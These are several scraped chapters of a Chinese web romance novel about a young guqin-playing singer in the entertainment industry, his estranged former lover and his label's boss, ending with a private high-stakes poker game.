易卿尘点点头:“嗯,公司给我安排的住处,我今天第一次来。” 老爷爷若有所思,而后不露声色地用视线打量了一遍易卿尘。 “我就住在15楼,有什么事儿可以来找我,平时就我一个人住。”老爷爷掏出手机,“来,扫个码?” 老爷爷的微信名叫“操心的爹”,易卿尘没忍住笑出了声。 “小易呀你别见笑。我有俩儿子,都不让我省心。唯一的孙子小德鲁,也成天得操心。” “那我以后就叫您德鲁爷爷吧!” “成啊!你赶紧休息吧,你们年轻人呐就爱熬夜,老了就知道遭罪喽!” 告别了小德鲁和德鲁爷爷,易卿尘用楚言给的密码开了门。楚言交代过,让他自己改个密码,易卿尘习惯性地输入了四位数字。输完了又觉得不太对,他以后应该没资格再用这个密码了吧。转念一想,应该也没人知道,无所谓了。 打开门,自己的古琴还有其他零零碎碎的行李已经先他一步被寄到了京北,此刻正整齐地摆放在客厅的地上。易卿尘开灯把整间房子逛了一遍,南向三室一厅一厨两卫,精装修带全套高档家具。 大理石餐桌上的水晶吊灯造型独特,客厅内的大象灰真皮沙发柔软舒适可调节角度,休闲区绿植墙满墙的名品花木。 就连旁边的单人沙发都有名有姓,叫“妈妈的怀抱”,易卿尘在飞机杂志上看到过,是1969年米兰设计师获奖作品,夸张的轮廓模仿了女性丰满的身材,再配一个毛线球造型的矮凳,好像妈妈在织毛衣。 呼—— 易卿尘长出一口气,默默地关掉客厅的灯,把自己的行李箱推去了客卧。 这样的待遇明显是给顶流天王巨星的,他一个新人,至今都没曝光过,对公司没有贡献,怎么配住这么豪华的房子?许是让他暂住几天吧,他不愿多想,蹲下整理行李。 别的东西都无所谓,但古琴可是他的宝贝。易卿尘把他的琴从琴囊里小心翼翼地取出来,摆在案上,抚上一抚,仔细检查有没有磕了碰了。 古琴不是“古代的琴”,而是七弦琴的另一个名字。古琴的量词是“床”,琴人们会说一床琴。不同于西洋乐器,它曾是中国古代文化地位最崇高的乐器。琴棋书画,古琴位于四艺之首。所以琴人们会给自己的琴取名字,像人一样。 易卿尘的琴叫做“朝雨”,是养父秦寒松亲手为他制作的。 “渭城朝雨浥轻尘,客舍青青柳色新。”离开孤儿院那一日,京北细雨绵绵,万物复苏,生机盎然。秦寒松牵着他的手,对他说:“孩子,你生母姓易,你就还继续姓易。不过易沉冤这个名字可不好,爸爸给你改个名字,就叫易卿尘吧!往事轻如尘烟,明日一路向前。” …… 帝京公馆的这套房子处处用心,连客卧的床垫用的都是五星级酒店的慢回弹记忆棉,一床被子既柔软蓬松又不闷汗。 易卿尘洗了澡,乳木果精油的沐浴露将高级的棕糖香留在皮肤上,他像一条滑溜溜的泥鳅一般,游进这辈子最舒服的被窝里。 却怎么也睡不着。 身上的被子似有千斤重,压得他喘不过气。想起今日宴会上众人看他的眼神,心中羞愤。他虽穿着昂贵的衣裳,却比光着身子还不如。 杨原野大概亦同样看他。落魄的少爷尚且靠自己的双手赚钱,即使跪下来擦鞋,腰杆也笔挺硬气。可他呢?却仿佛成了个打扮精致的“花瓶”,什么花都能插进来。 这个圈子里,身体是最容易拿来交换的。 他想跟杨原野解释,他没有、他不是。可对方不在乎他了,只当他是一条小狗,不值得分给一丝一毫的目光。 四年,什么都变了。曾经的杨原野是懂得他的,知道 6. 006 人设 《全网都在磕我们的过期糖》全本免费阅读 杨原野眨着贼亮亮的眼睛,笑得老神在在。用食指和中指比了个Y,撑着易卿尘的嘴角往上一抬,说:“来,给小爷笑一个!” 易卿尘拨开他的手:“你不说清楚我走了。”说完就要脱掉西装,可胳膊却被杨原野一把捉住。 “你不是想要给你爸讨个公道,收拾那两个人渣吗?我有办法!” 易卿尘垂着眼尾:“得了吧,我去找过区里管贪腐的副书记,还找过民乐团以前的老团长,去了好几次都吃了闭门羹……你?你又能有什么办法?” 杨原野见他情绪下降,终于不卖关子了,拉他坐下来,说道:“我一会儿约了市文.化部的赵叔叔,你跟我一起去。到时候,你就是我的好兄弟,叫……就叫秦二少吧!你是秦寒松的侄子,刚回国就听说了叔叔的遭遇,自然是忿忿不平了!所以呢,你就通过我这个中间人,想跟赵叔叔反映反映这个情况。我打听到赵叔叔的女儿一直想去开发区的重点中学借读,可借读费太贵,最近正发愁,你呢,别的没有,就是有钱,正好可以助赵叔叔一臂之力。 两边儿各取所需,一拍即合,有赵叔叔点头,咱们明儿就让那混蛋团长和会计打包滚蛋!你说怎么样?” 易卿尘听了之后对他竖了个大拇指:“妙计啊!不过,杨大少爷,我可不可以提几个小问题?” “秦二,please go ahead!”杨原野拿着腔调,好像真的在和比利时海归表哥说话。 “我哪里有钱给赵叔叔女儿付借读费?”易卿尘指出这计划里最大的bug。 杨原野啧了一声,指了指地上一个鼓鼓囊囊的牛皮纸袋,说:“你昨儿刚中了彩票,你忘啦?” “……是你的钱?你哪儿来那么多钱?你爸不是不给你钱吗!”易卿尘大吃一惊。 杨原野说得轻松:“这不用你操心,我卖了块手表给我哥们儿,本来我也不爱戴,正好废物利用!哎?你可不用谢我,我还小赚了点儿呢!” 没想到杨原野有这份心,易卿尘心下感动,可又不好意思说些煽情的话,于是眨眨眼睛,避重就轻:“诶?二手手表还能赚钱?” “百达翡丽的鹦鹉螺听说过吗?有钱也买不到。” “……没有,动物园的鹦鹉林我倒是去过几次。” 易卿尘还是蹙着眉头,面露难色,“你说咱们这么做真的行吗?从经济上讲也不划算吧……阿野,我知道你想帮我,可是……” 杨原野看着他欲言又止的模样,抢白道:“我知道你在想什么。” 易卿尘想的无非是最简单的算术,秦寒松的医疗费也才小几万块,以几十万为代价去争这个报销单实在不划算,况且用的还是杨原野的钱,走的是杨原野的人情。他和杨原野认识也才几个月……从小到大,极少有人为他这般劳心费力,他感动的同时又觉得受之有愧,胃跟着发沉。 “你心里过不去的坎儿真的是钱吗?”杨原野盯住他的眼睛说道,“傻瓜,别胡思乱想了……你就当是为了满足我‘惩恶扬善’的英雄梦好了,成不?” 杨原野竟真的懂他。他不是凑不齐那几万块,他实在是看不惯那些人卑鄙的做派,虽说天理昭彰,但不能眼巴巴穷等着老天爷来收拾恶人。 佛争一炷香,人活一口气,这口气很重要。 易卿尘点点头:“等我以后有了钱,一定还你。” “说的什么屁话!”杨原野勾唇一笑:“行了,还有问题吗?” 易卿尘仔细一想,又觉得不对:“其实这事儿你自己去跟赵叔叔说就行了,加我这么一个角色干嘛?” “靠!要是让我爸知道我掺和机关大院儿里的事儿,还不得弄死我?你必须自己出面哦!我还想多活几年,看中国男足夺冠呢!” “哦,那你得向天再借五百年了。”易卿尘眼睛一转又说,“我还有一个问题。” “你他妈的是问题宝宝吗?”杨少爷抬手拨乱了他的头发,笑道,“最后一个。” “……我可不可以不叫秦二?听着不像有钱人,倒像个跑堂的。”易卿尘说。 “成啊,你自己说你想叫什么?” 易卿尘思忖片刻,大手一挥,做了个擒拿的动作:“就叫——秦来。” 杨原野递上一个钦佩的眼神,郑重地点了点头:“成,那就预祝咱们今晚手到擒来!” 万物速朽,唯有往事最为保鲜。即使是在梦里,易卿尘都还清晰地记得那天晚上的情景。 起先,那位赵叔叔对他们两个小年轻的将信将疑,生怕左手拿了钱,右手就被拷进局子里去。菜上齐了,赵叔叔还是紧绷着脸,冷冷淡淡,连外套也没脱。 易卿尘见状,把手机往桌上一拍,沉下脸,开始闷头吃菜。杨原野立刻心领神会,配合着把椅子拉近了,一只手搭在易卿尘肩上大声劝道:“兄弟别气,我赵叔他不是不信你,这不是刚认识嘛,他慢热。” 易卿尘故意提高音量说:“这么点小事儿,我随便找谁不能办?这里面的弯弯绕,我从小见过太多了,阿野,要不就算了吧……” “别呀,咱们先喝一杯!赵叔,来,一起。” “别勉强,强扭的瓜不甜。” 两个人以退为进,一唱一和。赵叔叔终于是信了他们,收了钱,乐呵呵地脱了外套开始喝酒。 从饭店出来,易卿尘坐在杨原野摩托车的后座,他们借着醉意,一路高歌,穿行过京北的大街小巷。 “吼吼——” 风从耳畔呼啸而过,排气管轰鸣,杨原野对着身后扯着嗓子说道:“秦来,以前没看出来,你演技相当可以呀!” “小意思!”易卿尘在孤儿院长大,察言观色、演戏伪装都是他的生存技能。 摩托车压过一块石头,毫不减速,后座颠簸,他下意识地搂紧了杨原野的腰。 杨原野不羁的笑声被风带到耳畔:“轻点儿抱,我可是直男!” 易卿尘一愣。乖乖,谁又不是个直男呢?搂个腰而已,他根本就不会想到说这一层,咱们直男不用特意强调自己直,真有意思。 于是他也抻着脖子喊道:“彼此彼此!” 那晚摩托车的轰鸣如同交响乐般动听而磅礴,所过之处皆是青春,一去不再来…… 哔哔——哔哔—— 易卿尘被闹钟叫醒,看着周遭陈设,恍惚了好一会儿,有种分不清身在何方的错觉。 躺着盯住天花板,眼前又浮现昨天酒会杨原野的冷眼,他心脏疼。趋利避害的本能让易卿尘想删除昨天的记忆,或者至少暂时掩盖掉它。 他把脸埋进掌中,用力地揉了揉。看着窗外陌生又高级的小区园景,又发呆许久,才猛然想起来今天要去公司见经纪人。 盛世娱乐的总部大楼位于CBD,很是气派。易卿尘这位从没露过脸的新人显然无人问津,等了半个多小时,易卿尘又一次站起身来,走去前台:“请问,吴芷静吴小姐什么时候有空呢?” “易卿尘!”忽闻身后有人叫他的名字,易卿尘猛地回头 7. 007 买套 《全网都在磕我们的过期糖》全本免费阅读 见易卿尘一脸茫然,吴芷静主动解释:“打造神秘感,增加大众的期待值,这就是一种运作策略。你想想,仙人是不是都犹抱琵琶半遮面的,只有最关键的时刻才会显露真身?而且,每次露面,都要惊艳全场。” “我、我能惊艳全场?”易卿尘没想过他和这四个字能扯上关系,娱乐圈里什么精绝的人物没有,他要如何在银河里争辉? 吴芷静的唇边绽开一抹笑容,和桌上银瓶里怒放的红玫瑰相得益彰。 小白弯起眼睛说:“有静姐在,你就能。” ...... 临走,吴芷静给了易卿尘一个盒子,盒子里面是一支双卡双待手机。公用和私用两个号码,这是作为盛世艺人的基本标配。 吴芷静说,她近期会炒热大众对他真身的讨论,之后再找合适的时机安排他亮相。他频频点头。 一周后,易卿尘去移动营业厅办理新号。 等着叫号时,排他前面的小姑娘查了查自己的号码余额,发现她出国期间,前男友一直在帮她默默交话费。小姑娘眼睛鼻子都红了,感动得语无伦次。 轮到易卿尘,他脑子一热,搭上一根天外飞筋,也跟业务员说:“请给我查一下这个号码,还有多少余额?” 业务员输入一串数字后,微笑着说:“这号停机了,欠费八十六块二。” 呵呵,他就是败给了自作多情的想象力……哪会有人给他充话费,盼着他有朝一日回来呢。 在补交了八十六元二角欠款,外加新充三百元话费后,易卿尘的手机终于物尽其用。开机之后,除了中国移动欢迎了他,其它什么都没有。 出了营业厅,易卿尘一个人走在街上。京北还是那个京北,温温柔柔地照着他,可他却没法投入,总感觉有一部分的自己不知道去了哪里。 他走啊走,看路口的煎饼摊冒着热气,他忽然就想杨原野了。往前走,一旁师大附中在做课间操,他又想杨原野。一只红气球飞上天空,要命了,他好想阿野。 思想的闸门一旦破开个口子,就有一泻千里的危势。这样下去可不是办法,易卿尘强行用主观干预主观。他转移思想,让自己去想昨晚读的那本《溪山琴况》。 “一曰静”那章里写“惟涵养之士,淡泊宁静,心无尘翳,指有余闲。”说的是心中全无杂念障蔽,指尖的弹奏才有清妙的光泽。 易卿尘在心里一遍遍念着“心无尘翳,指有余闲”,像个破了戒的和尚,掩耳盗铃般“南无阿弥陀佛”个没完。 一边念叨一边走,视线中出现了圣亚索菲特酒店门口的宣传立牌——“古琴艺术申遗十九周年学术研讨会”。易卿尘好像得了天机召唤,赶着烧头香一般跑进去,寻找位于二楼的大宴会厅,去听听清和之音,正好涤一涤妄念。 可惜他还是来晚了,研讨会已经结束,现在是台上媒体拍照的时间,几个西装革履的应该是部委的专家,穿着汉服长袍的是古琴演奏家。 站在最后一排张望了两眼后,易卿尘悻悻地准备离开,倏忽间,视线却定格在观众席第一排穿黑衬衣的男青年身上。 看清楚那人的容貌之后,他登时心跳失速,第一反应是躲。 人真是怪,明明那么想他,却更害怕见他。易卿尘心如琴弦绷紧,脚踩着棉花似的,走不了直线,慌里慌张地冲进卫生间去拿凉水狠撩了几把脸,看着镜中如惊弓之鸟般的自己,一阵挫败。 出了洗手间,还没走到电梯口,就又看见杨原野,此刻正和一个西装革履的中年长者站在一起。旁边等电梯的还有两个女人。易卿尘赶紧停下脚步,躲在墙后。 “你先去房间等我,我半个小时之后就来。”男人的声音听起来成熟斯文,对着杨原野说道,“1206,这是房卡,你可以先准备准备。” 易卿尘听着这话,不知怎得有种说不上来的别扭。 上行电梯来了,杨原野和男人一齐走了进去。待易卿尘终于确认人走了之后,才敢露出头来,踱去电梯口。 他不是故意偷听的,可刚好那两个等电梯的女子就那么旁若无人地聊起天来。 “你看见了吗?刚刚那个是沈鹤衣,古琴圈子里的。” “就是他,老变态。” “诶?咋这么说呢?有八卦?” “有人上周碰见他去看男科。” “……咦~?男科,该不会是有那种病吧?” “谁知道,有病还跟年轻帅哥乱搞,真缺德。” “你说刚刚那男的?他俩是……那种关系……?不会吧……” “你可真纯情。不是那种关系,难道他俩来酒店开房是下五子棋呀?”女子放肆地笑起来。 另一个女子的声音:“哎,你觉不觉得那帅哥看着好脸熟?我这脑子猛住了,他——好像是个明星?” “不是吧,我怎么不认识?太可惜了,这年头极品神颜都去搞gay了,我们大女主只能独美!” “真的是。” 下行电梯来了,两个女人边说边走进去。易卿尘脑袋嗡嗡作响,跟着上了电梯。到了一楼,他没走,坐进酒店大堂的沙发里,思绪一片混乱。 杨原野和这个沈鹤衣到底是什么关系?是不是真的像她们说的,是“开房”的关系?还是说他们是一对恋人? 易卿尘心头闷痛,长叹了一口气,不管是什么关系,说到底,杨原野如今的感情状况轮不到他来操心…… 正欲起身,脑子里忽又蹦出两个字:男科——像一座小山拦住他离去的脚步。 往好了想,那个沈鹤衣,如果真的有病的话,做好安全措施应该也可以避免疾病传播。可是……以前他们俩做的时候,也没戴过套啊……嗯,对,他们没在一起,却睡过。妈的。 杨原野如果不知道对方有病,又不做好防护,后果会怎么样?易卿尘的手又不服大脑管,自己开始打字问百度,眼睛也很配合,好奇得很。看完前两个高赞回答之后,他整个人都不太好了,顿觉杨原野下半身乃至下半生的幸福即将毁于一旦。 五分钟之后,易卿尘鬼使神差地出现在一家24小时便利店,在一众花花绿绿的盒子面前茫然无措。平纹、螺纹、颗粒、硅油、水溶、延时……到底应该买哪个…… 他的脸红成一颗晚熟苹果。店员走了过来,上下打量着他:“需要帮忙吗?” 自己一个二十七岁的大男人,居然不会买套!他飞快地从架子上抓了一盒:“不用人帮,我很行的。” 结账的时候,店员明显在憋笑,易卿尘很想死。一想到自己待会儿要去送这玩意儿给一个骂自己是“狗”的男人,易卿尘更想死了。 时间一分一秒地过,他却还在酒店十二楼的走廊徘徊。 易卿尘踌躇不前,他知道杨原野对他心有隔阂,可他又忍不住不管,真是自找罪受。沈鹤衣说半小时就回来,这也快了,须得惜时如金。 他终于拿出杀手锏,打开百度,又看了一遍高赞回答,图文并茂,触目惊心,每次看都能令人虎躯一震。 易卿尘开始找尽理由说服自己,就算不是为了杨原野,单单是为了维护社会卫生健康环境,他作为一个公民,也有这个义务。 咬咬牙,他终于按响了1206的门铃,鼻尖沁着薄汗、耳根发烧、眼皮突突直跳,像高考查成绩,等着网页加载,度秒如年。 房门打开的一刻,屋里的人显然被他吓了一跳。 杨原野衬衫最上面的两颗扣子敞开着,露出一大片蜜色的皮肤。刚洗过的手,来不及擦干,还在滴着水。 “……” 他一脸惊讶地看着他。< 8. 008 空门 《全网都在磕我们的过期糖》全本免费阅读 与此同时,圣亚索菲特酒店顶楼餐厅雅座。 沈鹤衣和施丹青相对而坐,面前是一壶顶级武夷大红袍。 “施老刚刚的一曲《梅花三弄》真真是出神入化。第一段轻柔,是含苞待放的初梅;第二段明快,是群梅盛放的壮丽;最后一段深沉悠远,恰如那寒梅凋零时的离别之意。妙哉妙哉!”沈鹤衣这一段儿给这一曲夸出花来了。 施丹青捋了捋半白的胡须,摆摆手道:“鹤衣你过奖了!不是我弹得好,是你送我那琴,当世一绝。下次你带令郎来,我再给你们弹一曲。” “下次一定带世豪来拜访您。这一床‘凤舌’在您施老手上才能焕发新生,要是给别人,那就叫暴殄天物!”沈鹤衣恭维道。 都是古琴,可琴的价格可以天差地别。沈鹤衣送施丹青那床“凤舌”古琴是清代传下来的,仲尼式,纯天然蚕丝弦,非常规整,缎纹明显,通体黑色,背面篆刻大量铭文,琴额处有一明显断裂。这是沈鹤衣从拍卖会上拍得的老琴,价值六十七万。 这在古琴圈,并不算什么太贵重的琴,动辄几百几千万的古琴,也有的是。 施丹青笑着品了一口大红袍,想到件事儿,开口问道:“最近我听说,有人把古琴和流行乐捏合在一块儿,还挺火的?是有这回事儿?” “那小歌手叫易卿尘,至今也没露面,歌倒是真的挺火。”沈鹤衣虽然混古琴圈,但本质是商人,和施丹青不同,外面的事情沈鹤衣都是知道的。 “这股‘中国风’还是刮到咱们古琴圈里来了。”施丹青面露不悦,“我老了,跟不上时代了,不过依我之见,古琴是最为高雅的艺术,还是不要奴颜婢膝,硬往那流行歌上凑,降低了咱们琴人的身份。” 他们的“古琴雅集”全靠商界名流供着,追捧的就是“稀有”和“高雅”。施丹青是文化人,也是个俗人,自然不喜看古琴下了神坛,挡了他的财路。 “您说的是。外头老百姓就听个热闹,瞎追捧。失去了原汁原味,那还叫古琴吗?”沈鹤衣附和道,“不过树大招风,据我所知,娱乐圈里已经有人开始动作了,咱们暂且先观望着。” 施丹青笑着撇清:“说哪里的话,我只管弹琴,别的事儿都和我无关。”言罢,随手摸了一把桌边的浮灰,鼓起腮,吹散了那恼人的尘。 - 夕阳美如画,清风醉晚霞。 从酒店仓惶逃回家,易卿尘无力地瘫坐在“妈妈的怀抱”里,窗外的美景都收进不到眼底。他现在亟需有个臂弯可以给他安慰,可惜没有。 这个世界上,没有一个属于他的人。 杨原野此刻大概正和别人交颈相欢,大汗淋漓吧…… 他猛地从沙发里跳起来,在客厅一圈一圈地踱步,急需找些事做。他找来洒水壶,一间房一间房地浇花,阳台的一整墙的绿植都被他浇得透透的。 还是不行,心里又空又挤,没有着落。 他又跑去卧室,打扫房间,换一套新的床单被罩,虽然原本的这套是两天前刚换的。 他像个没头苍蝇似的到处忙,实在没事可做,就开始练琴。 一曲接一曲,弹着弹着,易卿尘抚琴的手指忽然停了下来,他猛然意识到,自己正在弹的竟是当年《Mr.Y》专辑中的一首歌,那曲调经古琴奏出来,带出了一阵经年的风。 易卿尘怔愣了一刻,下意识地拿起手机,翻出一段录音。那是当年他给杨原野第一次试录这首歌时存下的。 按下了播放键,沙沙的空间音持续了几秒后,便传来杨原野轻快的声音:“你离我近点儿,易卿尘,站我旁边来……咳咳,我开始了?” 歌曲的前奏响起,吉他扫出的旋律悠扬地流淌出来,易卿尘能倒着背出这首曲子。这段demo录音,他已经听了几百上千次。 四年来,易卿尘虽然只发表了一张专辑,但其实他写了远不止那十二首歌,只可惜许多都写了一半而无法继续。渝州的日子很冷,很多事因为太想念而做不成,他仿佛一直被困在回忆里。 思君不见下渝州,空余《人间四野尘》。 耳畔忽而传来了杨原野冰冷的声音:“全世界我最恨你”。 对不起阿野,是我错了。我好想站在你旁边,是不是来不及了? 太阳最后的一点余辉透过落地窗洒了进来,金色的光芒千丝万缕地照进了那双盈泪的眼睛。 晚霞遮天蔽日,明天会准时到来。 他回来推开的,是道空门。 - 数日后。 “欢迎收听FM97.4京北音乐广播,我是主持人萧萧。我们这一期的主题是‘尘封的旧梦’,追忆时光里的老歌。 现在坐在我身边的就是著名民谣歌手夏梦洁,以及新人歌手易卿尘。听众朋友们,欢迎大家通过微博和直播平台向梦洁和卿尘提问,与我们互动……” 京北广播电视大厦十七层。吴芷静正抱着臂站在导播室,隔着透明玻璃看着里面正在进行中的电台直播。身后传来一阵很轻的脚步声,一个身穿全套高尔夫球运动装,戴着铅灰色鸭舌帽的男人走了进来。 吴芷静侧头看去,扬起嘴角,对来人说:“你这衣服都来不及换就赶了来,是信不过我吗?” “哪里的话,我就是顺道过来看看。”楚言摘下帽子,向后拢了拢头发,眼睛望进直播间里,问道,“怎么不是专场?” 吴芷静淡笑着白了楚言一眼:“您清醒一点,这可是全国No.1的音乐广播,小易的咖位哪够专场?我特地拉来梦梦给咱们作配,人家可是推了香蕉视频的通告过来帮我的。楚总别不知足了。” “我看了最近网上的讨论,鬼畜视频做得不错。热度够了,可以继续推进,辛苦吴总监了!”楚言分出一点视线,给了吴芷静一个短暂的赞许。 “少打趣我,替你卖命罢了。”吴芷静的目光落在楚言按在胃部的右手上,蹙着眉问道:“怎么?又胃疼了?” “老毛病了。”楚言此刻的注意力并不在自己身上。 吴芷静不语。默默掏出手机,点了一杯外卖——“木香乌麦热饮”,最是养胃。她加了钱,选择了“加急配送”。 夏梦洁和易卿尘正在合奏一曲流行老歌,古琴的清越音色如溪水潺潺,带有清幽和深沉的古典氛围,吉他则散发着现代的活力,弦音轻快而富有律动,像是在述说当下的故事。两种乐器的音色在空气中交汇,形成一种奇妙的共鸣。 主持人忍不住鼓掌,赞叹道:“哇,谢谢梦洁和卿尘的合奏!我还是第一次知道,吉他和古琴的配合是这么美妙!既古典又 9. 009 惊鸿 《全网都在磕我们的过期糖》全本免费阅读 电台主持:“时间过得真快,我们今天的节目就到这里了。谢谢梦洁和卿尘来到FM97.4,这里是京北音乐广播,只听最好的音乐。我们下期再见。” 易卿尘从直播间走出来。刚结束了一小时的录影,身体有些僵硬,他用手扶着肩膀,转了转脖子。看见吴芷静和楚言都站在那儿等他,他又倏地绷紧了些。 “表现不错。”楚言用温和的目光迎接他。 “就是还有些放不开,下次还能再进步。”吴芷静一如既往地一阵见血,严厉殷切。 “我下次会注意的。”易卿尘说。 吴芷静点点头,又转头去跟夏梦洁说话,热络地对着人家道谢。 楚言将手上还没开封、热乎乎的“木香乌麦饮”递给易卿尘,说道:“喝点儿润润,我送你回家。” 帝京公馆入口,一辆黑曜石色的S级迈巴赫优雅地驶来,智能识别系统自动抬杆,车子径直开进小区地下车库,停进私人停车位。 易卿尘有些惊讶:“楚总你居然在这里有车位?” “还要说你多少次,就咱们两个的时候别叫楚总,不然我还以为自己在上班呢。”楚言停好车,“正好我爸也住这小区,我就买了几个车位。” “不邀请我上去你家坐坐?”楚言笑着问道。 “家?”易卿尘愣了一秒,那金窝银窝怎么能是他的家呢。 “?”楚言不知道易卿尘突然发什么呆,以为自己说话稍显暧昧,唐突了他,遂补充道:“我开玩笑的。” “噢,没事儿。屋里的东西,我基本没怎么动过。”他是说,他随时可以搬走的。 楚言笑笑,没再说什么。 两人进了屋。易卿尘先把琴囊从背上摘下来,小心地放到桌案上。接着走去厨房,翻了半天找出一只水晶玻璃杯,倒了杯水,加了冰块,放在沙发前的茶几上。 楚言很熟练地把电动沙发调成个舒服的角度,正仰躺在上面按摩,表情放松地问道:“家里有什么吃的吗?我一天没吃饭,饿了。” 易卿尘有些犯难,他的冰箱空空如也,只有几根青菜,一盒鸡蛋。这显然不是招待盛世娱乐总裁的食物。 “……我这儿没吃的。要不言哥,你早点儿回去,或者我陪你出去吃?” 楚言把沙发调回坐姿,看着易卿尘,问道:“那你自己平时不吃饭吗?” “我平时就简单煮个面什么的……”易卿尘不好意思地答。 “好,那就给我煮个面。” “……只有方便面……” “都好。” 和总裁同桌吃晚餐是很难放松的,可易卿尘看楚言在餐桌对面吃方便面,就着榨菜,确是自在,一副很家常的样子。方便面水放少了,有点儿咸,但楚言面前的冰水却是一口没喝。 吃过晚饭,易卿尘在洗碗。楚言看着他的背影,产生了一瞬的恍惚。 他和易卿尘能相识纯属偶然,在楚言心里,是带着些命定的意味,以至于他总忍不住为易卿尘费尽思量。 一年前,渝州。楚言参加一个为期两周的商业会议,会议在渝州一家中式园林风格高级度假酒店进行。酒店古色古香,充满浓郁的文化氛围。 午后慵懒,楚言一个人闲逛,穿过庭院,来到湖心一处亭子。亭前金石篆刻的匾额题字为“浣花雅趣”,亭内有一古朴桌案,上面摆着文房四宝,供住客随意使用。桌上的一沓白宣纸被砚台压着,是住客的“作品”。 楚言翻开来看,上面写什么的都有,抄诗的,写吉祥话的,还有写自己名字的。书法水平也只能归类为“无盐”。 楚言闲来无事,便摊开一张宣纸,从笔架上提起一支小楷毛笔,吸饱墨汁。有感而发,随手写下: “世界原本平庸 我在等 ——” 狼毫空悬,执笔的手顿住。他在等什么呢,楚言没有想好。他什么都有了,是别人眼中的天之骄子,可还是觉得“空”。 思忖间,一位生意伙伴路过,招呼他去一旁说话。待楚言再次返回时,远远地瞧见亭内一个穿白色卫衣的人正立在案前,手握毛笔在写什么,不一会儿便离开了。 那人身形俊秀,只看轮廓,便觉挺拔雅正。 楚言走回亭中,低头瞧见那宣纸,他写的那两句下面被人添了一行。簪花小楷,柔美清丽,写着: “一个跑起来有风的人” 忽然心中温柔的牵动,楚言猛地回头,在人群中寻找刚刚那个人,可却遍寻不见影踪。最终,楚言只得小心翼翼地将那张宣纸叠好,放进大衣内侧的口袋。 几天后的晚上,开完一整天的会,楚言拖着疲惫的身子往房间走。路过酒店大堂时,灯火阑珊处,竟意外地看见了那天续写他诗的人——那人正弯腰将面前案上的古琴收进琴囊。 楚言心中激动,疲惫一扫而光。他走上前去,对那人说:“你好,冒昧打扰了。” 对方抬起头,一双眸子是楚言从没见过的干净漂亮,只一眼,竟让他开始结巴:“我是,嗯,在娱乐公司工作的,我姓楚,想跟你,跟你认识一下。” 他抱歉地一笑,将琴囊背在背上说道:“真不巧,我要去赶末班地铁,赶不上我可就没钱回家了。我过几天还来,下次再见!” 他清婉的声音像那天纸上的簪花小楷,一撇一捺,篆在楚言身上。 没等楚言回应,他便快步跑开了,带起身后一阵微风,消失在星辰夜色中…… 起先也许是被他的眼睛,他的才情,他身上那股淡淡的漂泊气息所吸引,后来当彻底了解了易卿尘的身世,楚言便难以自拔地陷了进去,他甚至觉得自己对易卿尘是有一种保护的责任在的。 当初,楚言要签易卿尘出道做歌手时,易卿尘便将身世如实相告了。这样的出身并不适合成为公众人物,对公司会是一个很大的风险,但楚言没有丝毫犹豫,说“没关系,我会处理好一切”。 始于一眼惊鸿,爱意蔚然成风,那阵风从此在楚言心里一直没停过…… 楚言回过神,看着立在洗碗池前的背影。易卿尘像是有感应似的,回眸看他。楚言冲他招手说道:“小尘,来。” 易卿尘快速擦干手上洗碗留下的水,走过去恭谨地坐在一旁的沙发上。 “有一件事我要跟你说,你听了不要太失望。” 易卿尘看楚言说话的表情有些严肃,虽然不知道是什么事,还是点了点头。 “《中国唱作人》的拟邀请嘉宾名单出来了,可是上面没有你……”楚言缓缓地说。 “哦……我知道了,谢谢言哥……”易卿尘没有特别失望,他早就习惯了不被垂青。不参加节目,也可以弹琴写歌唱歌。 楚言神情微凝:“这件事情有些蹊跷,我早就做了筹划,原本已经十拿九稳,这个结果的确是意料之外。我正在调查到底是哪里出了问题 10. 010 图穷 《全网都在磕我们的过期糖》全本免费阅读 有人五点已起床,有人五点还没睡。这场德.州扑.克私人现金局已经鏖战了八个小时,一桌子的老板阔少,带着各自的大蜜小秘玩得正激情澎湃。 这一轮只剩下楚默和简少没弃牌,池子里的筹码已经堆成了小山。一桌子人谁也不敢出声或者乱作表情,生怕影响了两位老板做判断。 最后一张河牌翻出了个黑桃K,整张桌子的人齐齐喊了一声:“我靠”! 本身翻牌是黑桃AJQ,转牌来了张方片K,最后这张黑桃K一出,简直是逆了个天,激活了所有的可能性。 简少在屋里戴一副墨镜,生怕他的眼睛泄露了他的心。掀起自己底牌的一角,他故意做出一副诱敌深入的样子,敲了敲桌子,选择过牌。 对面的楚默肩上搭着一件高定宝石蓝天鹅绒西装外套,一头银色的半长披发,嘴里叼着根薯条,看着简少,满不在乎地耸了耸鼻子。然后懒洋洋地说了句:All In(全押)。 "楚老二,你他妈!"简少把墨镜一摘,扔在牌桌上,咒骂道。反正楚默all in了,简少也无所谓对方读人了。 牌桌一下子沸腾了,七嘴八舌都跟那儿瞎分析,闹哄了十分钟,简少还是做不了决定。这一个all in押进去的有四百六十多万,池子里面各家贡献的也有小两百万,加起来确实是有点儿刺激的。 “你不会真有黑桃10吧!起手一对十?”简少试探着问楚默。 楚默摇摇头,说:“简少信我,我是二七不同花”。 二七不同花是德扑里最小的底牌,简少翻了个白眼:“滚你丫的,信你我是傻逼。” 楚默经常出其不意,人又疯。简少心理斗争了一个世纪,最后还是怂了,急赤白脸地说了句:“我fold(弃牌),楚老二最鸡贼了,在这儿蹲我呢。” 简少很不爽地把底牌掀开,虽然他可以选择不亮底牌。因为他一fold,桌上这几百万就已经都是楚默的了。 简少底牌一对A,顶葫芦。只输给四条K和同花顺这两手牌。 一桌子人开始起哄,让楚默亮底牌,都等着看黑桃10。楚默不负众望,幽幽地翻开面前两张牌:二七不同花。 全屋瞬间安静了,接着是一阵巨大的骚乱,没人想到他敢这么玩。这家伙竟然用最小的底牌赢了几百万。 简少的脸从黄转红再转绿,满头大汗冒着烟,像个着了火的红绿灯。最后一气之下抄起那两张扑克牌,冲进洗手间,撕得粉碎,哗啦一声冲进马桶。引得一屋子的总裁阔少们哈哈大笑,纷纷说“楚老二真他妈不是个东西”,“就会玩儿心眼儿”! 宋小赢进来半天了,远远靠墙站着,看自家老板赢了钱心情不错的样子,才敢凑近,把楚默请到一边,附耳说了几句。 楚默听后,眉毛一挑,沉声道:“你真是天纵奇才,什么都能搞砸!” 宝石蓝外套从肩上滑下去,楚默站起身来,下面露出一条滑雪摔骨折的腿,还打着石膏。他笑着对牌友们说:“下一局别带我,哥儿几个先玩儿着。” 两人走到无人处,宋小赢把手机递给楚默,楚默一目十行,划拉一圈之后问道:“你确定,这个姓易的就是我大哥从渝州带回来的那位?” 